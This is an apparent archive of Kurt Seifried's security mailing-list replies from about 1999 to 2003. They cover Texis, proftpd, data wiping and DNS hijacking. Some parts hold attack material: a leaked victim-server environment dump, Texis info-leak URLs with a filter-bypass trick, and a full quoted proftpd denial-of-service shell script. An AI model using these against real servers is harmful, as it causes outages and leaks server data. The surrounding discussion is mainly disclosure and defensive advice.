REMOTE_ADDR='24.86.189.174'
REMOTE_HOST='24.86.189.174'
REQUEST_METHOD='GET'
SCRIPT_NAME='/programs/texis.exe'
SERVER_NAME='www.[VICTIM_NAME_REMOVED].com'
SERVER_PORT='80'
SERVER_PORT_SECURE='0'
SERVER_PROTOCOL='HTTP/1.0'
SERVER_SOFTWARE='Microsoft-IIS/5.0'
SystemDrive='C:'
SystemRoot='C:\WINNT'
TEMP='C:\WINNT\TEMP'
TMP='C:\WINNT\TEMP'
USERPROFILE='C:\Documents and Settings\Default User'
windir='C:\WINNT'

Command line
N:\[VICTIM_NAME_REMOVED]\Inetpub\Webinator4\texis.exe -dump
Miscellaneous
32-bit files

Variables
$urlroot='/programs/texis.exeN:\rsasfiles\Inetpub\betaroot'
$pathroot='N:\[VICTIM_NAME_REMOVED]\Inetpub\betaroot'
$sourcepath='N:\[VICTIM_NAME_REMOVED]\Inetpub\betaroot'

==

Kurt Seifried, [EMAIL PROTECTED]
A15B BEE5 B391 B9AD B0EF
AEB0 AD63 0B4E AD56 E574
http://seifried.org/security/

Re: @(#)Mordred Labs advisory - Texis sensitive information leak

[Kurt Seifried]

 //@(#) Mordred Security Labs advisory

 Release date: March 15, 2003
 Name: Texis sensitive information leak
 Versions affected: all versions
 Risk: average
 Author: Sir Mordred ([EMAIL PROTECTED], http://mslabs.iwebland.com)

 III. Exploit:

 http://victim.com/texis.exe/?-version
 http://victim.com/texis.exe/?-dump

Please note that simply blocking URL's ending in ?-dump and ?-version
won't work. You can append a space and additional text, such as:

http://www.example.org/cgi-bin/texis.exe?-dump%20kjshkjhskjsh.html

I didn't bother to test any other special characters or encoding (i.e.
UNICODE), I suspect there may be other ones that can be used.

Kurt Seifried, [EMAIL PROTECTED]
A15B BEE5 B391 B9AD B0EF
AEB0 AD63 0B4E AD56 E574
http://seifried.org/security/

Re: Putting the NSA Data Overwrite Standard Legend to Death...

[Kurt Seifried]

This is the tip of the iceberg.

Another concern is NTFS filesystems, data can be stored in the MFT if it is
small enough (i.e. under 1 or 4k depending on how your drive got formatted).
I also found that when using alternate data streams:

cat this_is_a_string_of_text  somefile.txt:an_ads_stream

that the string was then found on the HD twice immediately afterwards.
Wiping the file (with tools that wiped alternate data streams properly) got
rid of one copy, but you had to do a wipe free space to get rid of the
other. Not sure if this was a journaling issue or what, but if you want to
get rid of alternate data streams make sure you wipe free space.

There are other hardware/software issues too:

IDE/scsi bad block mapping at the device level
bad block mapping at the OS level (although intelligent software might be
able to deal with this)
RAID arrays, I haven't yet experimented much with wiping data on RAID 0 or 5
arrays for example but I suspect the results will be interesting.
Increasing reliance on network storage
Disk defragmentation, your data just got copied around, possibly more then
once (ever watch the soothing patterns in Win98 defrag =).

I did a presentation on data deletion and wiping at Hivercon, the
presentation is available in PowerPoint at:
http://www.hivercon.com/hc02/speaker-seifried.htm

The next version should manage to be even more depressing.

Kurt Seifried, [EMAIL PROTECTED]
A15B BEE5 B391 B9AD B0EF
AEB0 AD63 0B4E AD56 E574
http://seifried.org/security/

Re: [VulnWatch] Password Disclosure in Cryptainer

[Kurt Seifried]

Uhh, you do not strictly need physical access. Simple scenarios:

Remote administrative access, does a memory dump.

Laptop or desktop system that supports suspend mode, when in suspend the
contents of memory are written to the harddrive. When brought out of suspend
this data is deleted (i.e. the space is marked as free), an attacker could
potentially find the password somewhere on the HD.

System crash in WIndows NT/2000/XP where the person has configured it to
write a memory dump, the attacker could trigger this system crash (and the
resulting memory dump). How many people actually bother to delete emory
dumps after a crash? I thought so.

Data deletion/wiping/protection is a LOT harder then most people think. A
powerpoint of the talk I gave at Hivercon is available at:

http://www.hivercon.com/hc02/talk-seifried.htm

Quite a few technical remote attack scenarios. To say nothing of Legal based
local attacks.

My advice: use a product with a good security track record like PGP and not
these no-name/generic apps that 9 times out of 10 are broken beyond
belief.

Kurt Seifried, [EMAIL PROTECTED]
A15B BEE5 B391 B9AD B0EF
AEB0 AD63 0B4E AD56 E574
http://seifried.org/security/

Re: [VulnWatch] proftpd =1.2.7rc3 DoS

[Kurt Seifried]

 Hello,

 1. I know that the workaround with the DenyFilter works.

Actually it turns out there is no need for DenyFilter.

 2. Proftpd by default doesn't have this filter set, neither has the
default proftpd install on slackware 8.1

In any event this is immaterial as we see later since I can't cause Proftpd
1.2.7rc3 to crash with */*/?/./whatever.

 3. The methods mentioned on the page you refer to do not work on later
proftpd versions (tested on 1.2.7rc3) because of limits set in the
code. i.e:

 ftp ls .*./*?/.*./*?/.*./*?/.*./*?/.*./
 200 PORT command successful
 150 Opening ASCII mode data connection for file list
 226-Out of memory during globbing of .*./*?/.*./*?/.*./*?/.*./*?/.*./
 226 Transfer complete.
 ftp

   these proftpd versions don't even process that command.

Ahh. so? The command returns an error message and the server keeps going, no
additional load as far as I can tell.

Your example causes no damage, at least with the 1.2.7rc3 packages at
proftpd.net on a default Red Hat 8.0 box, default install, no
denyfilter/etc/etc. In case you're wondering my test ftp server has 30 gigs
of data nested quite deeply, so it's not like /pub/ is empty.

Perhaps the slackware proftpd package is broken, or your install is, I
cannot replicate this behaviour with thepackages ftom proftpd.net on Red Hat
at all. What symptons are you seeing, does the server crash? Proftpd sucks
up all the memory, or?

 I think I have done proper research on this issue before notifying anyone.

Google thinks otherwise, I remember this issue from way back when. It's been
beaten to death (wuftpd. proftpd, you name it). The horse is dead. Plus the
vendor would have told you about this had you contacted them first, rather
then going public. You did contact the vendor first right?

 People should do more research before making any conclusions, it's far
 less embarassing.

Yes, it is. If you can recreate this problem outside of your specific setup,
especially with standard packages from proftpd.net or another vendor I'd
like to know (I'm sure they would too).

 Rob.


Kurt Seifried, [EMAIL PROTECTED]
A15B BEE5 B391 B9AD B0EF
AEB0 AD63 0B4E AD56 E574
http://seifried.org/security/

Re: [VulnWatch] proftpd =1.2.7rc3 DoS

[Kurt Seifried]

This is so old I can't even find any postings/articles I remember making on
it. Here is one link from early last year:

http://lwn.net/2001/0322/a/proftpd-dos.php3

Check the documentation:

DenyFilter \*.*/

Problem solved.

People should search Google before posting, it's far less embaressing.

Kurt Seifried, [EMAIL PROTECTED]
A15B BEE5 B391 B9AD B0EF
AEB0 AD63 0B4E AD56 E574
http://seifried.org/security/

- Original Message -
From: Rob klein Gunnewiek [EMAIL PROTECTED]
To: [EMAIL PROTECTED]; [EMAIL PROTECTED]
Sent: Sunday, December 08, 2002 4:53 AM
Subject: [VulnWatch] proftpd =1.2.7rc3 DoS


 Hello,

 proftpd is vulnerable to denial of service similar to the list
 */../*/../*/../*.

 #!/bin/sh
 #
 # proftpd =1.2.7rc3 DoS - Requires anonymous/ftp login at least
 # might work against many other FTP daemons
 # consumes nearly all memory and alot of CPU
 #
 # tested against slackware 8.1 - proftpd 1.2.4 and 1.2.7rc3
 #
 # 7-dec-02 - detach  -  www.duho.org
 #
 # use: ./prodos.sh host user pass
 # do this some more to make sure the system eventually dies

 cnt=25
 while [ $cnt -gt 0 ] ; do
 ftp -n  EOF
 o $1
 quote user $2
 quote pass $3
 quote stat /*/*/*/*/*/*/*
 quit
 EOF
 let cnt=cnt-1
 done
 sleep 2
 killall -9 ftp
 echo DONE!

 #end

Re: Bypassing website filter in SonicWall

[Kurt Seifried]

Hardly news/vulnerability since reverse DNS is rarely reliable, and even
when it works people commonly do things like www1, www2, www3, etc. Even if
Sonic wall did everything, any website without reverse DNS would still be
reachable unless you start blocking IP's.

Names are for convenience, they are not terribly reliable for identifying
things you want to block on the web.


Kurt Seifried, [EMAIL PROTECTED]
A15B BEE5 B391 B9AD B0EF
AEB0 AD63 0B4E AD56 E574
http://seifried.org/security/

Kondara MNU/Linux

[Kurt Seifried]

Kondara MNU/Linux's primary web/ftp sites have been down for over a month
now. Can anyone confirm that the company is still in operation, I have had
no luck in contacting them. They still appear to sell several of their
products via DigitalFactory, but they do not appear to be supported any
longer (i.e. no security updates in a month+).

Are they dead, or just unconcious and dying quietly?


Kurt Seifried, [EMAIL PROTECTED]
A15B BEE5 B391 B9AD B0EF
AEB0 AD63 0B4E AD56 E574
http://seifried.org/security/

Re: [VulnWatch] 5 bugs

[Kurt Seifried]

From: D4rkGr3y [EMAIL PROTECTED]
To: [EMAIL PROTECTED]; [EMAIL PROTECTED]
Sent: Friday, July 12, 2002 12:35 PM
Subject: [VulnWatch] 5 bugs


 5. KDE v.3.*
 Buffer overflow in file kdeCMD.
 Exploits:
 ./kdeCMD -f [129b] - system crash
 ./kdeCMD -f [128b] + [shellcode] - local root
 Bug exists in all versions, that have file kdeCMD (not all versions
 have this file).

Where does this kdeCMD come from? No mention on google. No mention on
kde.org. the 3.0.2 sourcecode tarballs contain no files named kdecmd (upper
or
lower), grepping all the source code for kdecmd (using case insensitive)
returns
nothing. I can only conclude you have a customized version of KDE, some
strange modifications on your end or this is a hoax of some sort (?!?).

Can anyone from KDE comment? Was this removed in 3.0.2? Is it some specific
vendor addition?

Kurt Seifried, [EMAIL PROTECTED]
A15B BEE5 B391 B9AD B0EF
AEB0 AD63 0B4E AD56 E574
http://seifried.org/security/

Re: Linux patches to solve /tmp race problem

[Kurt Seifried]

 PAM handles this quite nicely.

 I've hacked together a PAM module which sets TMPDIR (and TMP) to
 /tmp/user/uid, which I could probably make available (mail me if you
 are interested).  Fixing programs to use TMP and TMPDIR is the correct
 solution.

 --

 Tollef Fog Heen

No need for that when we have pam_env. From the docs This module allows the
(un)setting of environment variables. Supported is the use of previously set
environment variables as well as PAM_ITEMs such as PAM_RHOST.

/etc/security/pam_env.conf

Kurt Seifried, [EMAIL PROTECTED]
Securityportal - your focal point for security on the 'net

Re: Loopback and multi-homed routing flaw in TCP/IP stack.

[Kurt Seifried]

Kurt Seifried, [EMAIL PROTECTED]
Securityportal - your focal point for security on the 'net



 2.2 is vulnerable, but 2.4 is not. as far as i can tell, 2.4 systems
 don't even have a localhost routing entry anymore.

 martin

Huh?

loLink encap:Local Loopback
  inet addr:127.0.0.1  Mask:255.0.0.0
  UP LOOPBACK RUNNING  MTU:16128  Metric:1
  RX packets:46 errors:0 dropped:0 overruns:0 frame:0
  TX packets:46 errors:0 dropped:0 overruns:0 carrier:0
  collisions:0 txqueuelen:0

[root@stench /root]# route -n
Kernel IP routing table
Destination Gateway Genmask Flags Metric RefUse Iface
10.3.0.00.0.0.0 255.255.255.0   U 0  00 eth0
127.0.0.0   0.0.0.0 255.0.0.0   U 0  00 lo
0.0.0.0 10.3.0.10.0.0.0 UG0  00 eth0
[root@stench /root]# uname -a
Linux stench.seifried.org 2.4.0-0.26 #1 Fri Aug 25 08:31:55 EDT 2000 i686
unknown

It does in older 2.4.0's, haven't tried 2.4.1/2.4.2 however.

Kurt Seifried, [EMAIL PROTECTED]
Securityportal - your focal point for security on the 'net

Re: HeliSec: StarOffice symlink exploit

[Kurt Seifried]

  StarOffice creates a temporary directory in /tmp called soffice.tmp,
  with permissions 0777. Into this directory other temporary files are
creates,
  with the format: sv.tmp, where  in a four or five digits number.

Staroffice honors $TMP, so create /home/foo/tmp and set your TMP variable. This
is not a solution per se I know, but it does help (and more and more apps are
honoring the $TMP/$TMPDIR variable).

Kurt Seifried, [EMAIL PROTECTED]
Securityportal - your focal point for security on the 'net

DNS spoofing/registering/etc

[Kurt Seifried]

Seems there are some people re-registering DNS domains/etc. Thought this was
appropriate.

http://www.securityportal.com/closet/

DNS insecurity

Kurt Seifried, [EMAIL PROTECTED], for http://www.securityportal.com/

This article was meant for January 12, 2000 but SANS posted an item about it
being a problem so I thought I'd get it out the door.

December 31, 1999 - So you've got your DNS servers locked down, running the
latest greatest BIND code as a non-root user, in a chrooted environment and
life is pretty good. Until you go to your website and are faced with child
porn. So you take the web server(s) down and use your write protected
bootable tripwire disks, and everything checks out ok. No files have been
deleted or modified, all the web content is there, it's all normal. Bring
the server back up, make sure everything is running, and you go back to the
URL, child porn. You put the IP address into your web browser, you get the
normal site ("Widget's R US").

(Actors voice similar to that guy on America's Most Wanted): What you just
read was a re-creation of an event that may have happened to someone. It
could happen to you to! Malicious script-kiddies (this does not require any
skill or much intelligence) changed your DNS records and "hijacked" the
domain. To confuse matters they also changed the registrar and points of
contact, resulting in a significant delay while getting everything sorted
out.

DNS names are centrally registered, usually via a web based form or email.
The authentication typically used is "mail from", that is if a request for
changes arrives from the right email address, the changes are made (and we
all know that email spoofing is trivial). To combat this you can configure
it to require an acknowledgement, however a mildly competent attacker will
simply forge an acknowledgement, and possibly flood your mail server (or
your account) with bogus email to prevent you from seeing the message (that
you might send a reply back saying "don't"). Unfortunately this system
worked quite well for a long time, domain names have only become popular
lately, especially with E-commerce and so on taking place, as well the
Internet community was, generally speaking, less malicious.

SANS has been running an incident reporting website for a week now, people
email in logs/incident reports, etc and SANS posts them up. There is an
advisory (not an actually advisory per se, but a strong warning none the
less) at:

http://www.sans.org/y2k/123199-1305.htm

regarding this problem.

Using the guardian scheme with Network Solutions (those wonderful people
that spammed me, sorry but I had to say it) is relatively simple, go to the
contact form at:

http://www.networksolutions.com/cgi-bin/makechanges/itts/handle

and enter your contact handle, email address and click modify. The next
screen will ask you to choose your authentication method, the simplest is
the crypt password scheme, you simple enter a password which is cyrpt()'ed,
to change DNS records/etc in the future you must enter that password. This
is definitely better then nothing, and it will slow an attacker down,
however you are still vulnerable to someone monitoring your email and
capturing it, as a determined attacker would do.

The other alternative is to use PGP, unfortunately their system only
supports older versions of PGP, and the keyserver is abysmally slow. However
with a little patience you can add your key, the procedure is covered at:

http://www.networksolutions.com/help/guardian.html

and basically consists of emailing a key to [EMAIL PROTECTED],
putting "add" in the subject line, and the key in the body of the message.
Once that is successfully registered you can then specify that key for use
with the guardian scheme. You will be required to PGP sign all changes,
making it very secure (even if an attacker eavesdrops they won't be able to
forge messages).

Like many things, people have been complacent about DNS security, because it
has not been a real problem in past. TImes are changing however and the
Internet is turning into a pretty dangerous environment. You need to protect
yourself, and the guardian scheme will let you do so effectively.

Kurt Seifried ([EMAIL PROTECTED]) is a security analyst and the author
of the "Linux Administrators Security Guide", a source of natural fiber and
Linux security, part of a complete breakfast.

Related links:

DNS security - closing the b(l)inds:

http://www.securityportal.com/closet/closet19990929.html

Kurt Seifried
http://www.seifried.org/
http://securityportal.com/lasg/
http://securityportal.com/closet/

My public keys are available at:
http://www.seifried.org/keys/
http://www.pgpi.org/ - recommended for Windows
http://www.gnupg.org/ - recommended for UNIX
http://www.pgp.com/ - recommended for commercial use

Re: AMaViS virus scanner for Linux - root exploit

[Kurt Seifried]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

 The AMaViS incoming-mail virus scanning utility (available
 at http://satan.oih.rwth-aachen.de/AMaViS/) for Linux has
 problems.

 I tried to contact the maintainer of the package (Christian
 Bricart) on June 26, again several times over the course of
[snipsnip]
 scripts.


To add insult to injury: a week or two ago I attempted to contact him
(also with no luck) about a nasty bug, when using Sophos (and likely
other anti virus software) AMaViS was not picking up on the updates,
that is the updated IDE files in /opt/ide, and defined as
SAV_IDE=/opt/ide were not being used by AMaViS, however from the
command line, using the "sweep" command they were picked up fine, this
means AMaViS doesn't generally pick up on BO2K, etc. Perhaps a new
maintainer (an active one anyways, with a pulse) is needed.

- -Kurt Seifried, MCP+I, MCSE
https://www.seifried.org/kurt/
Linux Administrator's Security Guide
https://www.seifried.org/lasg/



-BEGIN PGP SIGNATURE-
Version: PGP Personal Privacy 6.0.2

iQA/AwUBN5BClIb9cm7tpZo3EQKfIACgnahZE9f9gcbZsQ9ma84uWOI7z/4AoO21
7+hCXPR4k6z+xFvx7jlqlTuT
=ozEm
-END PGP SIGNATURE-